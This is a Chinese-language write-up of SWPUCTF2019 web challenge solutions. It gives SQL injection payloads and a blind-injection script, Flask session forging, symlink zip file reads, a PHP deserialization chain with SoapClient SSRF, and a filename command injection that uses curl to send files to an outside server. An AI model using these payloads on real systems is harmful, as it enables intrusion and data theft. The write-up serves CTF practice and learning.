SWPUCTF2019

記錄一哈復(fù)現(xiàn)過程

WEB

web1

題目地址為:http://211.159.177.185:23456/index.php
測試一下,不難發(fā)現(xiàn)是個(gè)二次注入的題。
在申請發(fā)布廣告的廣告名中插入惡意sql語句,然后在廣告詳情中觸發(fā)注入。
檢查一下發(fā)現(xiàn)題目過濾了or,報(bào)錯(cuò)注入函數(shù)。

可以采用聯(lián)合查詢來獲取數(shù)據(jù)。關(guān)于過濾or無法使用information_schema庫,我們可以根據(jù)bypass information_schema,使用sys庫,來完成表名的查詢,以及使用無列名注入來完成注入。payload如下:

#group by獲取列數(shù)
-1'/**/group/**/by/**/22,'11
#查看版本
-1'/**/union/**/all/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#獲取表名
-1'/**/union/**/all/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#獲取各列
-1'/**/union/**/all/**/select/**/1,(select/**/group_concat(test)/**/from/**/(select/**/1,2/**/as/**/test,3/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#獲取數(shù)據(jù)
-1'/**/union/**/all/**/select/**/1,(select/**/group_concat(test)/**/from/**/(select/**/1,2,3/**/as/**/test/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

結(jié)果如下:





somd5網(wǎng)站解密得到flag

此外,在看別人的wp的時(shí)候,發(fā)現(xiàn)其實(shí)有個(gè)報(bào)錯(cuò)函數(shù)并沒有被過濾ST_LatFromGeoHash,如下用法

1'/**/||/**/ST_LatFromGeoHash(concat(0x7e,(select/**/database()),0x7e))/**/||'a'='a
1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema='web1'),0x7e))/**/&&'a'='a
1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.2/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a
1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.3/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a

web3

隨便輸入賬號密碼登錄進(jìn)去,有一個(gè)upload目錄,但是沒有權(quán)限訪問。右鍵源碼看到有個(gè)404 not found提示。

在 flask 中,可以使?用 app.errorhandler()裝飾器來注冊錯(cuò)誤處理函數(shù),參數(shù)是 HTTP 錯(cuò)誤狀態(tài)碼或者特定的異常類,由此我們可以聯(lián)想到在 404 錯(cuò)誤中會(huì)有東西存在。

隨便訪問一個(gè)不存在的url,發(fā)現(xiàn)response頭中有自定義字段


base64解碼之后得到以下字符串:

SECRET_KEY:keyqqqwwweee!@#$%^&*

再聯(lián)想到剛才訪問upload顯示的權(quán)限不夠,可以判斷是使用該key偽造session。
githubdown加解密的代碼

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s參數(shù)是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s參數(shù)是SECRET_KEY -t參數(shù)是session的參照格式,也就是session解密后的格式

另外說一句,解密的話用以下代碼就不用SECRET_KEY

from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')

或者P神的代碼

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

解密如下:

id改成b'1'

進(jìn)入upload目錄,右鍵源碼如下:

@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
                waf()
                return 'error'
            os.system(cmd)
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')


@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

注意到這里的代碼

cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
     waf()
     return 'error'
os.system(cmd)

這個(gè)unzip不禁讓人想起湖湘杯2019的那題untar。
然后后面還有將解壓文件返回的代碼:

image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp

這里有兩種解法。

第一種:使用軟鏈接完成文件讀取
CVE-2018-12015: Archive::Tar: directory traversal
上傳一個(gè)軟鏈接壓縮包,完成flag讀取。因?yàn)槿鄙?code>flag的絕對路徑,只有相對于flask工作目錄的相對路徑./flag/flag.jpg,所以要先獲取flask的工作目錄。
這里又有兩種方法

0x00
linux中,/proc/self/cwd/會(huì)指向進(jìn)程的當(dāng)前目錄,那么在不知道flask工作目錄時(shí),我們可以用/proc/self/cwd/flag/flag.jpg來訪問flag.jpgexp如下:

ln -s /proc/self/cwd/flag/flag.jpg exp
zip -ry exp.zip exp

上傳exp.zip即可flag。

0x01
在 linux 中, /proc/self/environ文件里包含了進(jìn)程的環(huán)境變量,可以從中獲取flask應(yīng)用的絕對路徑,再通過絕對路徑制作軟鏈接來讀取flag.jpg(PS:在瀏覽器中,我們無法直接看到/proc/self/environ的內(nèi)容,只需要下載到本地,用010打開即可),exp如下:

ln -s /proc/self/environ work
zip -ry work.zip work
ln -s /ctf/hgfjakshgfuasguiasguiaaui/myflask/flag/flag.jpg exp
zip -ry exp.zip exp

第二種:命令注入
在文件名處進(jìn)行命令注入。類似$(curl vps -T `pwd`).zip這種。


但是在讀取./flag/flag.jpg時(shí)遇到了一點(diǎn)問題:

if unzip_filename.find('/') != -1:
        shutil.rmtree(path_base)
        os.mkdir(path_base)
        return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp

文件名過濾了/,這里https://blog.csdn.net/c20130911/article/details/73187757,將/轉(zhuǎn)化成ascii

$(sky=`awk 'BEGIN{printf "%c\n",47}'`&&curl vps_ip:23333 -T `cat .${sky}flag${sky}flag.jpg`)

web4

輸個(gè)',發(fā)現(xiàn)500錯(cuò)誤,閉合',發(fā)現(xiàn)請求正常。猜測可能存在sql注入。

題目提示PDO,猜測可能是用堆疊查詢。因?yàn)镻DO默認(rèn)支持多語句查詢,如果php版本小于5.5.21或者創(chuàng)建PDO實(shí)例時(shí)未設(shè)置PDO::MYSQL_ATTR_MULTI_STATEMENTSfalse時(shí)可能會(huì)造成堆疊注入。
引號中輸入;,發(fā)現(xiàn)沒有500錯(cuò)誤,說明支持堆疊查詢。使用PDO執(zhí)行SQL語句時(shí),可以執(zhí)行多語句,不過這樣通常不能直接得到注入結(jié)果,因?yàn)镻DO只會(huì)返回第一條SQL語句執(zhí)行的結(jié)果,所以第二條語句中可以用update更新數(shù)據(jù)或者使用時(shí)間盲注獲取數(shù)據(jù)。關(guān)于PDO下堆疊查詢

但是過濾了select,if,sleep等一系列關(guān)鍵字,所以我們可以選用十六進(jìn)制+mysql預(yù)處理來完成繞過。

測試代碼如下:

#select sleep(10)
'1';set @a=0x73656c65637420736c65657028313029;PREPARE stmt1 FROM @a;EXECUTE stmt1;-- '

發(fā)現(xiàn)注入成功。
于是時(shí)間盲注腳本如下:

import libnum
import requests

url = 'http://182.92.220.157:11116/index.php?r=Login/Login'
flag = ''
pos = 1

while True:
    for i in range(128):
        try:
            #flag
            #exp = "select if(ascii(substring((select group_concat(table_name) from information_schema.columns where table_schema=database()),%d,1))=%d,sleep(4),1)" % (pos, i)
            #flag
            #exp = "select if(ascii(substring((select group_concat(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(4),1)" % (pos, i)
            #AmOL#T.zip
            exp = "select if(ascii(substring((select flag from flag),%d,1))=%d,sleep(4),1)" % (pos, i)
            exp1 = hex(libnum.s2n(exp))[:-1]
            data = '''{"username":"1';set @a=%s;PREPARE stmt1 FROM @a;EXECUTE stmt1;-- ","password":"a"}''' % (exp1)
            res = requests.post(url=url, data=data,  timeout=2)
        except Exception, e:
            flag += chr(i)
            print flag
            break
    pos += 1
    print "oops~"

下載AmOL#T.zip(記得將#轉(zhuǎn)化成%23),然后就是代碼審計(jì)環(huán)節(jié)了。
是個(gè)MVC模型,首先了解一下該框架下url的解析過程:

從r參數(shù)中獲取要訪問的Controller以及Action,然后以/分隔開后拼接成完整的控制器名。
以Login/Index為例,就是將Login/Index分隔開分別拼接成LoginController以及actionIndex,然后調(diào)用LoginController
這個(gè)類中的actionIndex方法。每個(gè)action里面會(huì)調(diào)用對應(yīng)的loadView()方法進(jìn)行模版渲染,然后將頁面返回給客戶端。
若訪問的Controller不存在則默認(rèn)解析Login/Index。

這樣我們就應(yīng)該先來審計(jì)控制器的代碼。

不難發(fā)現(xiàn),在BaseController中有著這么一段明顯有問題的代碼

    public function loadView($viewName ='', $viewData = [])
    {
        $this->viewPath = BASE_PATH . "/View/{$viewName}.php";
        if(file_exists($this->viewPath))
        {
            extract($viewData);
            include $this->viewPath;
        }
    }

這段代碼中使用了extract,以及包含了/View/{$viewName}.php,也就是說我們能通過$viewName$viewData這兩個(gè)變量來更改/View下任何一個(gè)php文件的任何一個(gè)變量的值。

接下來看看繼承了該方法的類。


終于,在UserController中找到了以下代碼:

    public function actionIndex()
    {
        $listData = $_REQUEST;
        $this->loadView('userIndex',$listData);
    }

其中$listData是從請求中獲取,用戶可控。不過剛才BaseController中的$viewName卻是代碼中寫死的userIndex,也就是我們只能覆蓋/View/userIndex.php中的變量。

那去/View/userIndex.php看一下。
發(fā)現(xiàn)以下代碼

<?php
       if(!isset($img_file)) {
          $img_file = '/../favicon.ico';
       }
       $img_dir = dirname(__FILE__) . $img_file;
       $img_base64 = imgToBase64($img_dir);
       echo '<img src="' . $img_base64 . '">';       //圖片形式展示
?>

其中imgToBase64()實(shí)現(xiàn)的是將目標(biāo)文件轉(zhuǎn)化成base64格式。而我們只需要將$img_file改成/flag.php即可。
到這里,一切都很清楚了。訪問http://182.92.220.157:11116/index.php?r=User/Index&img_file=/../flag.php即可獲得

PD9waHAKICAgIGVjaG8gImZsYWcgaXMgaGVyZSxidXQgeW91IG11c3QgdHJ5IHRvIHNlZSBpdC4iOwogICAgJGZsYWcgPSAic3dwdWN0ZntIQHZlX2FfZzAwZF90MW1lX2R1cmluOV9zd3B1Y3RmMjAxOX0iOwo=

base64解碼得swpuctf{H@ve_a_g00d_t1me_durin9_swpuctf2019}

web6

隨便輸入賬號密碼顯示錯(cuò)誤

試試萬能密碼
顯示密碼錯(cuò)誤
猜測后臺的判斷邏輯如下:
$sql="select * from users where username='$name' and passwd='$pass'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['passwd'] == $_POST['passwd']) {

所以我們需要的是繞過if($key['passwd'] == $_POST['passwd']),這里想到使用實(shí)驗(yàn)吧中原題所使用的的with rollup,如下:

我們需要的就是那個(gè)pass等于null的那個(gè)查詢結(jié)果,所以在rollup后面接上having pass is NULL

這樣用戶名輸入1' or '1'='1' group by passwd with rollup having passwd is NULL#,密碼為空,即可成功登陸

發(fā)現(xiàn)有個(gè)wsdl.php,然后看到一系列的method
感覺主要能用上的應(yīng)該是hint、File_read、get_flag。
使用hint:index.php Service.php interface.php se.php
使用get_flag返回only admin in 127.0.0.1 can get_flag,猜測應(yīng)該是越權(quán)+ssrf。
通過File_read加參數(shù)讀取各個(gè)文件,

#se.php
<?php
ini_set('session.serialize_handler', 'php');
class aa
{
    public $mod1;
    public $mod2;
    public function __call($name, $param)
    {
        if ($this->{$name}) {
            $s1 = $this->{$name};
            $s1();
        }
    }
    public function __get($ke)
    {
        return $this->mod2[$ke];
    }
}


class bb
{
    public $mod1;
    public $mod2;
    public function __destruct()
    {
        $this->mod1->test2();
    }
}

class cc
{
    public $mod1;
    public $mod2;
    public $mod3;
    public function __invoke()
    {
        $this->mod2 = $this->mod3 . $this->mod1;
    }
}

class dd
{
    public $name;
    public $flag;
    public $b;

    public function getflag()
    {
        session_start();
        var_dump($_SESSION);
        $a = array(reset($_SESSION), $this->flag);
        echo call_user_func($this->b, $a);
    }
}
class ee
{
    public $str1;
    public $str2;
    public function __toString()
    {
        $this->str1->{$this->str2}();
        return "1";
    }
}

$a = $_POST['aa'];
unserialize($a);
?>
#encode.php
<?php
function en_crypt($content,$key){
    $key    =    md5($key);
    $h      =    0;
    $length    =    strlen($content);
    $swpuctf      =    strlen($key);
    $varch   =    '';
    for ($j = 0; $j < $length; $j++)
    {
        if ($h == $swpuctf)
        {
            $h = 0;
        }
        $varch .= $key{$h};  
        $h++;
    }
    $swpu  =  '';
    
    for ($j = 0; $j < $length; $j++)
    {
        $swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
    }
    return base64_encode($swpu);
} 

先根據(jù)encode.php和得到的flag{this_is_false_flag}來對cookie進(jìn)行解密

#decode.php
function de_crypt($swpu,$key){
    $swpu = base64_decode($swpu);
    $key = md5($key);
    $h      =    0;
    $length    =    strlen($swpu);
    $swpuctf      =    strlen($key);
    $varch   =    '';
    for ($j = 0; $j < $length; $j++) {
        if ($h == $swpuctf) {
            $h = 0;
        }
        $varch .= $key{$h};
        $h++;
    }
    $content='';
    for($j=0;$j<$length;$j++){
        if(ord($swpu{$j})>ord($varch{$j}))
            $content{$j}=chr(ord($swpu{$j})-ord($varch{$j}) );
        else if(ord($swpu{$j})<ord($varch{$j}))
            $content{$j}=chr(ord($swpu{$j})+256-ord($varch{$j}) );

    }
    echo $content;
}

de_crypt("3J6Roahxag==", "flag{this_is_false_flag}");
?>

解密得到xiaoC:2,改成admin:1重新加密xZmdm9NxaQ==,此時(shí)我們已經(jīng)完成了越權(quán)。
接下來看看SSRF,先想好根據(jù)se.php的一般反序列化鏈:

  1. dd->getflag()是肯定要運(yùn)行的
  2. 用ee->__toString()來構(gòu)造(1)
  3. 用cc->__invoke()中的字符串連接來觸發(fā)(2)
  4. 用aa->__call()中的$s1()來觸發(fā)(3)
  5. 用bb->__destruct()來觸發(fā)(4)

所以邏輯反過來寫代碼,得到如下:

<?php
ini_set('session.serialize_handler', 'php');
class aa
{
    public $mod1;
    public $mod2;
}


class bb
{
    public $mod1;
    public $mod2;
}

class cc
{
    public $mod1;
    public $mod2;
    public $mod3;
}

class dd
{
    public $name;
    public $flag;
    public $b;

}
class ee
{
    public $str1;
    public $str2;
}
$b = new bb();
$a = new aa();
$b->mod1 = $a;

$c = new cc();
$a->mod2['test2'] = $c;

$e = new ee();
$c->mod1 = $e;
$d = new dd();
$e->str1 = $d;
$e->str2 = 'getflag';

$d->flag = '{1}';
$d->b = '{2}';

echo serialize($b);

接下來就是將上述代碼中的{1},{2},{3}填入。
根據(jù)LCTF2018bestphp's revenge中解法,我們可以判斷的是我們需要先將soapclient對象反序列化的數(shù)據(jù)寫入session,在上述的{2}填入call_user_func,{1}講道理隨意填。

所以接下來搞定soapclient對象反序列化的數(shù)據(jù)。

<?php
$target = 'http://127.0.0.1/interface.php';
$post_string = 'a=1&b=2';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: user=xZmdm9NxaQ==',
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri'      => "aaab"));
$aaa = serialize($b);    
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
?>

網(wǎng)上的腳本,需要設(shè)置的主要是$targetheaders
其中headers利用SoapClient類進(jìn)行SSRF+CRLF攻擊
$target為什么要設(shè)置為interface.php而不是http://127.0.0.1/index.php?method=get_flag,因?yàn)楹笳吆孟癫⒉粫?huì)輸出結(jié)果,所以出題人多做了個(gè)soap接口interface.php來完成攻擊。實(shí)際上。我們能返回到信息,是因?yàn)檫@邊已經(jīng)實(shí)例化了SoapServer類的原因。

我們可以首先看看interface.php的代碼:

#interface.php
 <?php   
    include('Service.php');
    $ser = new SoapServer('Service.wsdl',array('soap_version'=>SOAP_1_2));
    $ser->setClass('Service');
    $ser->handle();
?> 

使用了SoapServer生成了wsdl文檔,傳入類Service來啟用接口服務(wù),關(guān)于接口服務(wù),測試代碼如下:

#server.php
<?php 
class Service
{
    public function Get_flag(){
        return "flag{xxx}";
    }
}
$ser = new SoapServer(null,array('uri'=>'sampleA'));
$ser->setClass('Service');
$ser->handle();
 ?>
#client
<?php
$client = new SoapClient(null, array(
        'location'=>'http://127.0.0.1/soap/server.php',
        'uri'=>'sampleA'
        ));

echo $client->Get_flag(); //flag{xxx}

當(dāng)客戶端實(shí)例化了SoapClient后,就可以調(diào)用到Service類中的任意方法,并通過return得到回顯

而如果我們僅僅是通過SoapClient調(diào)用不存在的方法觸發(fā)ssrf,是不會(huì)得到回顯的,可以本地測一下就知道了,而這里Service類的get_flag方法顯然是需要通過回顯來得到flag。這就需要利用SoapServer。

所以我們通過反序列化SoapClient類,location指向interface.php即服務(wù)端,因?yàn)榉?wù)端的setClassService類,而Get_flag方法在Service類中,最后我們通過call_user_func調(diào)用SoapClient類的Get_flag方法即調(diào)用了Service類的Get_flag方法。

所以在剛才的{1}不能像LCTF2018中原題一樣隨便填了,需要填寫我們要調(diào)用的方法,即Get_flag

接下來就是如何寫入session的問題,參考https://www.freebuf.com/vuls/202819.html,利用PHP_SESSION_UPLOAD_PROGRESS上傳文件,其中利用文件名可控,從而構(gòu)造惡意序列化語句并寫入session文件。
構(gòu)造上傳文件

#upload.html
<html>
<body>
    <form action="http://a3aff44b-21bc-4903-b8a4-434700b1be98.node3.buuoj.cn/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
</body>
</html>

然后上傳上面生成的SoapClient反序列化的數(shù)據(jù)(記得在前面加個(gè)|)

此時(shí)我們已經(jīng)將poc寫入到session中PHPSESSIDzz的值中。
上傳se.php反序列化的數(shù)據(jù),即可獲得flag

未完待續(xù)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • pdo類PDO是一個(gè)“數(shù)據(jù)庫訪問抽象層”,作用是統(tǒng)一各種數(shù)據(jù)庫的訪問接口,與mysql和mysqli的函數(shù)庫相比,...
    桖辶殤閱讀 979評論 0 0
  • 一、Python簡介和環(huán)境搭建以及pip的安裝 4課時(shí)實(shí)驗(yàn)課主要內(nèi)容 【Python簡介】: Python 是一個(gè)...
    _小老虎_閱讀 6,335評論 0 10
  • [HCTF 2018]WarmUp 打開鏈接后是一張圖片,看看源碼提示source.php,進(jìn)入source.ph...
    佛系小沈閱讀 5,525評論 0 4
  • 抽空整理了一下CGCTF平臺的Web題的writeup。 0x01 簽到題(題目地址:http://chinal...
    ch3ckr閱讀 13,242評論 0 6
  • 我是怎么喜歡上你的,這個(gè)“喜歡”這個(gè)概念是不恰當(dāng)?shù)?,?yīng)當(dāng)是我是怎樣怎樣與你走到一起的,然后又是怎樣分開的呢?我必須...
    0454a1551be4閱讀 207評論 0 0

友情鏈接更多精彩內(nèi)容